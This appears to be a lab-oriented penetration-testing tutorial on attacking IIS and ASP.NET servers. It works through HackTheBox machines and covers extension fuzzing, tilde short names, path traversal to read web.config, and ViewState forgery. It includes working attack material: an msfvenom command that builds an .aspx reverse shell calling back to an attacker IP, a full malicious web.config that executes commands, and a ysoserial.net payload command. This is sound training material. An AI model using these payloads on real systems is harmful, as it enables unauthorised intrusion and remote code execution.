IIS and ASP.NET pentesting: web.config, .aspx shells and ViewState
Attacking an IIS server step by step: spot ASP.NET, fuzz with the right extensions, tilde short names, upload an .aspx shell or a web.config, read the machineKey and exploit ViewState.
When a Windows box has a website, it is almost always IIS, Microsoft's web server, running ASP.NET applications. You attack it differently from Apache with PHP: the extensions that run code are different, there is one config file (web.config) that controls everything, and there is a design weakness of its own, ViewState, which turns into code execution with the right key.
The bare minimum
- Extensions that run code on IIS:
.aspx,.ashx,.asmx(ASP.NET) and.asp(classic ASP). If you can upload or write one of them into the web root, you have a shell. web.configis the application's configuration. It may hold connection strings with passwords and the machineKey, the key that signs and encrypts ViewState.- ViewState is a hidden field (
__VIEWSTATE) holding the page's serialised state. If you know the machineKey, you can forge a malicious one that the server deserialises: code execution. - Your shell will run as
IIS APPPOOL\<name>, which nearly always has SeImpersonatePrivilege.
Requirements
- ffuf or gobuster and SecLists.
- shortscan for short names:
go install github.com/bitquark/shortscan/cmd/shortscan@latest. - Kali's webshells in
/usr/share/webshells/aspx/andmsfvenom. - A Windows VM (or a session on the target) for ysoserial.net if you get to ViewState.
- To practise: Devel and Bounty (easy) and POV (medium).
Step 1: spot IIS and ASP.NET
curl -sI http://10.10.10.93/
HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Other clues: the X-AspNet-Version header, the ASP.NET_SessionId cookie, __VIEWSTATE and __EVENTVALIDATION fields in forms, and pages ending in .aspx. The IIS version tells you the Windows version (7.5 is Windows 7 or Server 2008 R2; 10.0 is Windows 10 or Server 2016 onwards).
Step 2: fuzz with the right extensions
IIS is case-insensitive, so use lowercase lists and add Microsoft's extensions:
ffuf -u http://10.10.10.93/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt \
-e .aspx,.asp,.ashx,.asmx,.config,.txt -ic
transfer.aspx [Status: 200, Size: 941, Words: 89, Lines: 22]
uploadedfiles [Status: 301, Size: 157, Words: 9, Lines: 2]
SecLists also ships an IIS-specific list: /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt. The rest of the fuzzing options are in the directory and vhost fuzzing guide.
Step 3: tilde short names
For MS-DOS compatibility, Windows gives every file an 8.3 short name (TRANSF~1.ASP). Many IIS servers answer differently depending on whether a short name exists, which lets you guess the first characters of files no wordlist would ever find:
shortscan http://10.10.10.93/
The output lists the short names it found (for example TRANSF~1.ASP). With the prefix, run a targeted fuzz: ffuf -u http://10.10.10.93/transfFUZZ.aspx -w words.txt.
Step 4: upload a shell
If you find a way to write into the web root (an upload, FTP, a database that writes files), drop an .aspx:
cp /usr/share/webshells/aspx/cmdasp.aspx .
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
- On Devel anonymous FTP writes into the IIS root:
put shell.aspxand browse tohttp://10.10.10.5/shell.aspx. It is a 32-bit Windows there, so usewindows/shell_reverse_tcp. - On Silo it is Oracle that writes the shell into the web root with
UTL_FILE.
If the filter blocks .aspx (as on Hathor), try the other code-running extensions and the tricks in the file upload guide.
Step 5: when you can only upload a web.config
That is Bounty: transfer.aspx rejects .aspx but accepts .config. A web.config can turn itself into an ASP page that runs:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified"
requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions><remove fileExtension=".config" /></fileExtensions>
<hiddenSegments><remove segment="web.config" /></hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
Set s = CreateObject("WScript.Shell")
Set c = s.Exec("cmd /c whoami")
Response.Write(c.StdOut.ReadAll())
%>
Upload it and open it (on Bounty, http://10.10.10.93/uploadedfiles/web.config):
bounty\merlin
Swap whoami for a PowerShell reverse shell.
Step 6: read the web.config
If you have a file read (LFI or path traversal), the first target on IIS is web.config. Try paths relative to the app (web.config, \web.config, ..\web.config) and the usual absolute one, C:\inetpub\wwwroot\web.config.
<machineKey decryption="AES" decryptionKey="<64 hex characters>"
validation="SHA1" validationKey="<128 hex characters>" />
Look for connectionString entries with database credentials as well. On POV a download parameter only strips ../, so \web.config works and returns a machineKey like the one above. On Perspective you get it through server-side includes (SSI) in a .shtml file.
Step 7: ViewState with the machineKey
With the machineKey you forge a ViewState that runs your command when it is deserialised. From Windows, with ysoserial.net:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties `
--path="/portfolio/default.aspx" --apppath="/" `
--decryptionalg="AES" --decryptionkey="<decryptionKey>" `
--validationalg="SHA1" --validationkey="<validationKey>" `
-c "powershell -e <base64>"
The output is a long Base64 string. Intercept a POST request to that page in Burp and replace the __VIEWSTATE value with it (URL-encoded). If the command is a reverse shell, the connection comes in. More background on this family of bugs in insecure deserialisation.
Note
--path is the path of the page that processes the ViewState and --apppath is the application root. Get them wrong and the server rejects the ViewState with a validation error and nothing runs.
Common mistakes
404.7or404.8when requesting your file: IIS request filtering blocks that extension or segment (web.configis blocked by default). Hence theremovelines in Step 5.500when opening the uploadedweb.config: the XML has a syntax error or the classic ASP module is missing. Try it first without the<% %>block.- The msfvenom
.aspxshell does not connect: wrong architecture. Try both x86 and x64, and check whether Defender deleted it. Validation of viewstate MAC failed:--path,--apppathor the keys do not match the page. Copy the page's__VIEWSTATEGENERATORand pass it with--generatorinstead of--path.- ysoserial.net will not run on Linux: it needs .NET Framework. Use a Windows VM or a session on the target itself.
What next
The application pool account nearly always has SeImpersonatePrivilege: carry on with SeImpersonate and potatoes. The web steps are in the web checklist.